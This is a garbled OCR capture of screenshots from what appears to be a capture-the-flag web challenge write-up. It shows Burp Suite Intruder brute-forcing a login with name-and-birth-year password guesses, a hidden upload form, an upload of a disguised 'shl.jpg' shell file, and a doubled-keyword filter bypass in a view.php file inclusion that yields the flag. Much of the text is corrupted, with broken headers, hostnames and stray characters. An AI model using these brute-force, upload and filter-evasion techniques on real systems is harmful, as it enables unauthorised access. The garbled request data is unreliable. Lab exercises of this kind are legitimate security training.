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Attack ty[Ie: lPitchfork I |v]
POST /login.php HTTP/1.1 a

Host: 8b388893:99541 aaafc7h36953e7544df18he31059894282. changame.ichungiu.com

User-Agent: Mozilla®.0 (Windows NT 10.0; WinB4; x64; rv:66.0) Gecko/20100101 Firefox/66.0

Accept: text/html application/xhtml+xml application/xml;g=0.9 */*,q=0.8

Accept-Language: zh-CM, zh;g=0.8,zh-TW;q=0.7 zh-HK; g=0.5 en-US;g=0.3 en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://8h388893c99541 aaafc7h36953e7544df18he31059894282. changame.ichungiu. comflogin. php
Content-Type: application/x-www-farm-urlencaoded

Content-Length: 65

Connection: close

Cookie: pgv_pvi=1074417664; chkphone=acWxMNpxhQpDiAchhMuSnEqyiQubIO0000; ci_session=arb4dac174ad18f8938855796a14f1580hd7EL13;
PHPSESSID=tj5ab2pnetowebgfmijlcdpvE; _ jsluid=d41fhI584f7691a1d5cBfe52389bfEd4
Upgrade-Insecure-Requests: 1
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username=§zhangwei$&password=§zhangwei§1995&submit="%E7 %99%BE %E5%BD %95
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Attack Save Columns
tj Results TTarget T Positions I Payloads T Options } |
Filter: Showing all items @
Request | Payload1 | Payload2 Status | Error |'I'|meout| Length ‘rl Comment
195 zhangyuzhen zhangyuzhen 200 ] [ 1087 .
o 200 ] [] 1032 i
1 zhangwei zhangwei 200 J [] 1032 |
2 wangwei wangwei 200 | ] 1032 b
3 wangfang wangfang 200 ] [ 1032 E
4 liwei liwei 200 O [J] 1032
b lina lina 200 O [] 1032
6 zhangmin zhangmin 200 | ] 1032
T lijing lijing 200 O [] 1032 -
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FOST flogin.php HTTR/.1 A
Host: Bb388693c99541 aaafc7h36953e7544df18he31059894282 . changame.ichungiu.com h
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html application/xhtml+xml, application/xml;q=0.9 */*,q=0.8 |
_|Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http:/fBh388893c99541 aaafc7h36953e7544df18he310598942682. changame.ichungiu.com/lagin. php
Content-Type: application/s-www-farm-urlencoded
Content-Length: 71
Connection: close
Cookie: pgv_pvi=107 4417664, chkphone=ac\WxNpxhQpDiAchhMNuSnEqyiQuDIC0C0o,
ci_session=arb4ddac174ad 1889388557 96a1 4f158bd7ER13; PHPSESSID=tj5a62pnetowebgfmijlcd pvi;
_ Isluid=d41fh9584f7691a1 d6cBfe52380 k6 d4
Upgrade-Insecure-Requests: 1
username=zhangyuzhen&password=zhangyuzhen1995&submit="%E7 %39%BE%E5% B0 %95 :
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{!-— {form action="" method="POST” enctype="multipart/form—data”>
<{input type="file” name="file” />
<input type="submit” name="submit” value="L{£&" />

/form> —>
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<form action="" method="POST" enctype="multipart/form-data™> <input type="file" name="file™ /> <input type="submit™ name="submit™

value="_F{%" /> </form>
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Burp Suite Professional v2.0.05beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard T Target ]' Proxy T Intruder TRepeatef T Sequencer T Decoder ]' Comparer ]' Extender

I Project options I User options T reCAPTCHA
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Request

Raw | Params | Headers | Hex

Target: http://8b388893c99541aaafcTh36953e7544df18be 31059894282 .changame.ichunqiu.com / @

Response

Raw | Headers | Hex HTMLTRender]

POST / HTTP/ .1

Host: 8h388893c99541 aaafc? b36953e7544df18he31059894282 . changame.ichungiu.com
=jUserAgent: Mozilla/s.0 (Windows NT 10.0; WinB4; x84, n:66.0) Gecko/20100101 Firefox/86.0
E Accept: text/html,application/xhtml+xml applicationfxml;q=0.8 */*q=0.8

Accept-Language: zh-CN zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5 en-US; q=0.3 en;q=0.2
x'Accept—Encuding: gzip, deflate

Referer: http://8h385893c99541 agafcy b36953e7544 df18he31059894282. changame. ichungiu.com/
g| Content-Type: multipartform-data; boundary=--—--—--eemeeeeeee 18467633426500

Content-Length: 30185

Connection: close

Cookie: pgv_pvi=1074417664; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000;

ci_session=ar bddac174ad16f893f8855796a14f158Ld76R13;
4 PHPSESSID=tj5ab2pnetewebgfmijlcdpyd; _ jsluid=d41fb9584f7691 a1 dBcBie52389bfEd4
(| Upgrade-Insecure-Requests: 1

A HTTP/1.1 200 OK
Date: Tue, 21 May 2019 15:10:22 GMT

Content-Type: text/html charset=utf-6
Content-Length: 362

Connection: close

Vary: Accept-Encoding

Vary: Accept-Encoding

Expires: Thu, 19 Mov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Fragma: no-cache

Vary: Accept-Encoding

¥-Via-JSL: 4020666 -

¥-Cache: bypass
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<IDOCTYPE html>

----------------------------- 18467633426500 <html>
Content-Disposition: form-data; name="filg"; filename="shl.jpg" | <head>
Content-Type: image/jpeg <meta charset="utf-8" />

<title>4 A< ftitle>
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iii g HT 4 10 e i 2 LR SR MEEH YHI0000000000000000000000 <input type="submit" name="submit" value="1{£" />

000000000000000000wd00000N00ACDagD" 2000814 #3RO0MO </form> -->
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( </html>
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<a href="Niew.php">view</a>

Vi iEview.php:

file?

M RERA Ufilefs S48, %ikfile=flag, 83 filter flag”
M E— Tile=fiflagagZ Flflag:

{?php

echo ’flag is here’;

" flag {3da49125-c418-4f81-bb91-b7a3fd766096} — ;
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